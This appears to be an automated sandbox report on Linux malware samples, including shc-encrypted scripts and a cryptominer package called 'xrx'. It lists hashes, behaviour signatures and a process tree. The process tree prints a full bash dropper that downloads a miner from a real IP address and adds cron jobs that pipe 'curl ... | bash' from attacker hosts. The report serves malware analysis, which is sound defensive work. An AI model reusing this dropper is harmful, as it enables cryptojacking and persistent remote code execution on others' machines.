Overview
overview
10Static
static
10样本/Lin...9DC1D8
ubuntu-24.04-amd64
7样本/Lin...B36C5B
ubuntu-24.04-amd64
6样本/Lin...E3B383
ubuntu-24.04-amd64
8样本/Lin...6F5973
ubuntu-22.04-amd64
1样本/Lin...776DB8
ubuntu-18.04-amd64
1样本/Lin...776DB8
debian-9-armhf
1样本/Lin...776DB8
debian-9-mips
1样本/Lin...776DB8
debian-9-mipsel
1样本/Lin...C9A3F7
ubuntu-18.04-amd64
6样本/Lin...C9A3F7
debian-9-armhf
6样本/Lin...C9A3F7
debian-9-mips
6样本/Lin...C9A3F7
debian-9-mipsel
6样本/Lin...FECBE5
ubuntu-24.04-amd64
101AAF1A9F78...31.tar
ubuntu-18.04-amd64
1AAF1A9F78...31.tar
debian-9-armhf
1AAF1A9F78...31.tar
debian-9-mips
1AAF1A9F78...31.tar
debian-9-mipsel
xrx/chattr
ubuntu-24.04-amd64
1xrx/init.sh
ubuntu-20.04-amd64
6xrx/init0
ubuntu-22.04-amd64
8xrx/scp
ubuntu-18.04-amd64
1xrx/scp
debian-9-armhf
1xrx/scp
debian-9-mips
1xrx/scp
debian-9-mipsel
1xrx/secure
ubuntu-20.04-amd64
7xrx/uninstall.sh
ubuntu-18.04-amd64
6xrx/uninstall.sh
debian-9-armhf
6xrx/uninstall.sh
debian-9-mips
6xrx/uninstall.sh
debian-9-mipsel
6xrx/xrx
ubuntu-22.04-amd64
6Analysis
-
max time kernel
4s -
max time network
131s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20240729-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
27-11-2024 05:48
Behavioral task
behavioral1
Sample
样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
Resource
ubuntu2404-amd64-20240729-en
Behavioral task
behavioral2
Sample
样本/Linux/shc加密脚本/42693670C71A529A11E81943F5B36C5B
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral3
Sample
样本/Linux/shc加密脚本/73F9917255A953EB749F5A3C90E3B383
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral4
Sample
样本/Linux/shc加密脚本/CDAFEFEDB4709959B4260435DC6F5973
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral5
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral6
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral7
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral8
Sample
样本/Linux/sh恶意脚本/9C8A5EF51CF8A89F5F00498A5A776DB8
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral9
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral10
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral11
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral12
Sample
样本/Linux/sh恶意脚本/E4CC1A7F992909E8509520FDD6C9A3F7
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral13
Sample
样本/Linux/挖矿程序/9D099882A24757AC5033B0C675FECBE5
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral14
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral15
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral16
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral17
Sample
1AAF1A9F7877DC2C899D910A52F67F31.tar
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral18
Sample
xrx/chattr
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral19
Sample
xrx/init.sh
Resource
ubuntu2004-amd64-20240729-en
Behavioral task
behavioral20
Sample
xrx/init0
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral21
Sample
xrx/scp
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral22
Sample
xrx/scp
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral23
Sample
xrx/scp
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral24
Sample
xrx/scp
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral25
Sample
xrx/secure
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral26
Sample
xrx/uninstall.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral27
Sample
xrx/uninstall.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral28
Sample
xrx/uninstall.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral29
Sample
xrx/uninstall.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8
-
Size
1023KB
-
MD5
069ad3938c3f9c049f670a8eb49dc1d8
-
SHA1
f4fd0c87a18d45ab4b642f32a94673c949ab7caf
-
SHA256
84d4b99f0d98900b4eadb7e107bf54196f2e5796d8707ebf0dcd76f5b6693295
-
SHA512
3c627883f53082face65b22d353c1926c4d4f4de008cf41cf2a3326762ad080dd95324f2fd35c3f60c069df4fb2c510d4fa07b26cbc404678f8a655c884beedb
-
SSDEEP
12288:SBgtRmLBGYhFcueTIqRe/w/Yt6myOP7/x7L15k7bKrHNq9EnE:SQRmLBTFcueTIie/wgB/x7LFLNq9
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodbashchmodpid Process 2581 chmod 2547 bash 2568 chmod -
Attempts to change immutable files 4 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
Processes:
chattrchattrchattrchattrpid Process 2555 chattr 2570 chattr 2571 chattr 2554 chattr -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
bashdescription ioc Process File opened for modification /etc/crontab bash -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 2 IoCs
Processes:
pgreppgrepdescription ioc Process File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep -
Enumerates kernel/hardware configuration 1 TTPs 2 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
pgreppgrepdescription ioc Process File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep -
Processes:
pgreppgrepdescription ioc Process File opened for reading /proc/198/ctty pgrep File opened for reading /proc/4/ctty pgrep File opened for reading /proc/496/cmdline pgrep File opened for reading /proc/37/cgroup pgrep File opened for reading /proc/2246/stat pgrep File opened for reading /proc/2351/stat pgrep File opened for reading /proc/36/cgroup pgrep File opened for reading /proc/53/cgroup pgrep File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/32/cmdline pgrep File opened for reading /proc/2019/cgroup pgrep File opened for reading /proc/2256/stat pgrep File opened for reading /proc/2018/cmdline pgrep File opened for reading /proc/777/cgroup pgrep File opened for reading /proc/189/stat pgrep File opened for reading /proc/1724/cgroup pgrep File opened for reading /proc/1751/cmdline pgrep File opened for reading /proc/2547/ctty pgrep File opened for reading /proc/36/stat pgrep File opened for reading /proc/793/cmdline pgrep File opened for reading /proc/2018/stat pgrep File opened for reading /proc/1085/cgroup pgrep File opened for reading /proc/2007/stat pgrep File opened for reading /proc/189/cgroup pgrep File opened for reading /proc/755/ctty pgrep File opened for reading /proc/2309/ctty pgrep File opened for reading /proc/24/stat pgrep File opened for reading /proc/1132/ctty pgrep File opened for reading /proc/1865/ctty pgrep File opened for reading /proc/1265/stat pgrep File opened for reading /proc/43/stat pgrep File opened for reading /proc/34/cmdline pgrep File opened for reading /proc/514/ctty pgrep File opened for reading /proc/338/cgroup pgrep File opened for reading /proc/863/ctty pgrep File opened for reading /proc/1083/ctty pgrep File opened for reading /proc/2182/cmdline pgrep File opened for reading /proc/1/ctty pgrep File opened for reading /proc/4/cgroup pgrep File opened for reading /proc/591/cgroup pgrep File opened for reading /proc/1862/ctty pgrep File opened for reading /proc/2202/cgroup pgrep File opened for reading /proc/2543/stat pgrep File opened for reading /proc/2263/cmdline pgrep File opened for reading /proc/2340/status pgrep File opened for reading /proc/20/ctty pgrep File opened for reading /proc/31/stat pgrep File opened for reading /proc/42/ctty pgrep File opened for reading /proc/1103/cgroup pgrep File opened for reading /proc/1919/status pgrep File opened for reading /proc/2196/cgroup pgrep File opened for reading /proc/2370/stat pgrep File opened for reading /proc/11/ctty pgrep File opened for reading /proc/47/cmdline pgrep File opened for reading /proc/53/ctty pgrep File opened for reading /proc/55/cgroup pgrep File opened for reading /proc/194/status pgrep File opened for reading /proc/1075/cmdline pgrep File opened for reading /proc/41/cgroup pgrep File opened for reading /proc/195/cmdline pgrep File opened for reading /proc/34/cgroup pgrep File opened for reading /proc/2204/cgroup pgrep File opened for reading /proc/2319/status pgrep File opened for reading /proc/14/ctty pgrep
Processes
-
/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D81⤵PID:2547
-
/bin/bash/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8 -c "exec '/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8' \"\$@\"" /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D81⤵PID:2547
-
/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D81⤵PID:2547
-
/bin/bash/tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D8 -c " #!/bin/bash ifrunning=\$(pgrep xrx) ######################## ######################## downloadminer(){ link1=\"http://185.252.178.82:6972/xrx/xrx\" link2=\"http://185.252.178.82:6972/configs/config-xrx.json\" mkdir /var/tmp/.xrx cd /var/tmp/.xrx/ chattr -ia /var/tmp/.xrx/xrx chattr -ia /var/tmp/.xrx/config.json rm -rf /var/tmp/.xrx/xrx rm -rf /var/tmp/.xrx/config.json curl -L -O \$link1 || cd1 -L -O \$link1 || wget \$link1 --no-check-certificate curl -L -O \$link2 || cd1 -L -O \$link2 || wget \$link2 --no-check-certificate mv config-xrx.json config.json chmod +x /var/tmp/.xrx/xrx } ######################## ######################## crontablegend(){ if (( \$EUID != 0 )); then if ! crontab -l | grep -q 'secure'; then cd /dev/shm rm -rf /dev/shm/.spark echo \"@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> .spark sleep 1 echo \"*/30 * * * * curl 185.252.178.82:1011/next | bash \" >> .spark sleep 1 echo \"*/30 * * * * curl load.whitesnake.church:1011/next | bash \" >> .spark sleep 1 crontab .spark sleep 2 rm -rf /dev/shm/.spark fi fi if (( \$EUID == 0 )); then if ! cat /etc/crontab | grep -q 'secure'; then echo \"@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown \$* \" >> /etc/crontab echo \"*/30 * * * * root curl 185.252.178.82:1011/next | bash \" >> /etc/crontab echo \"*/30 * * * * root curl load.whitesnake.church:1011/next | bash \" >> /etc/crontab fi fi } ######################## ######################## gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print \$5}'` if [ -f /var/tmp/.xrx/xrx ]; then echo \"miner intact\" else echo \"miner not found,downloading...\" downloadminer fi if [[ \"\$fsiz\" -gt 0 ]]; then echo \"miner size intact\" else echo \"filesize 0,downloading...\" downloadminer fi } ######################## ######################## gettingmineru crontablegend if test -z \"\$ifrunning\" ; then echo \"xrx not running,starting...\" /var/tmp/.xrx/xrx </dev/null &>/dev/null & disown -h %1 sleep 1 echo -e \"pid:\" pgrep xrx fi " /tmp/样本/Linux/shc加密脚本/069AD3938C3F9C049F670A8EB49DC1D81⤵
- File and Directory Permissions Modification
- Creates/modifies Cron job
PID:2547 -
/usr/bin/pgreppgrep xrx2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2549
-
-
/usr/bin/lsls -l /var/tmp/.xrx/xrx2⤵PID:2551
-
-
/usr/bin/awkawk "{print \$5}"2⤵PID:2552
-
-
/usr/bin/mkdirmkdir /var/tmp/.xrx2⤵PID:2553
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/xrx2⤵
- Attempts to change immutable files
PID:2554
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/config.json2⤵
- Attempts to change immutable files
PID:2555
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/xrx2⤵PID:2556
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/config.json2⤵PID:2557
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/xrx/xrx2⤵PID:2558
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/xrx/xrx --no-check-certificate2⤵PID:2560
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/configs/config-xrx.json2⤵PID:2561
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/configs/config-xrx.json --no-check-certificate2⤵PID:2566
-
-
/usr/bin/mvmv config-xrx.json config.json2⤵PID:2567
-
-
/usr/bin/chmodchmod +x /var/tmp/.xrx/xrx2⤵
- File and Directory Permissions Modification
PID:2568
-
-
/usr/bin/mkdirmkdir /var/tmp/.xrx2⤵PID:2569
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/xrx2⤵
- Attempts to change immutable files
PID:2570
-
-
/usr/bin/chattrchattr -ia /var/tmp/.xrx/config.json2⤵
- Attempts to change immutable files
PID:2571
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/xrx2⤵PID:2572
-
-
/usr/bin/rmrm -rf /var/tmp/.xrx/config.json2⤵PID:2573
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/xrx/xrx2⤵PID:2574
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/xrx/xrx --no-check-certificate2⤵PID:2576
-
-
/usr/bin/curlcurl -L -O http://185.252.178.82:6972/configs/config-xrx.json2⤵PID:2577
-
-
/usr/bin/wgetwget http://185.252.178.82:6972/configs/config-xrx.json --no-check-certificate2⤵PID:2579
-
-
/usr/bin/mvmv config-xrx.json config.json2⤵PID:2580
-
-
/usr/bin/chmodchmod +x /var/tmp/.xrx/xrx2⤵
- File and Directory Permissions Modification
PID:2581
-
-
/usr/bin/catcat /etc/crontab2⤵PID:2582
-
-
/usr/bin/grepgrep -q secure2⤵PID:2583
-
-
/var/tmp/.xrx/xrx/var/tmp/.xrx/xrx2⤵PID:2584
-
-
/usr/bin/sleepsleep 12⤵PID:2585
-
-
/usr/bin/pgreppgrep xrx2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2597
-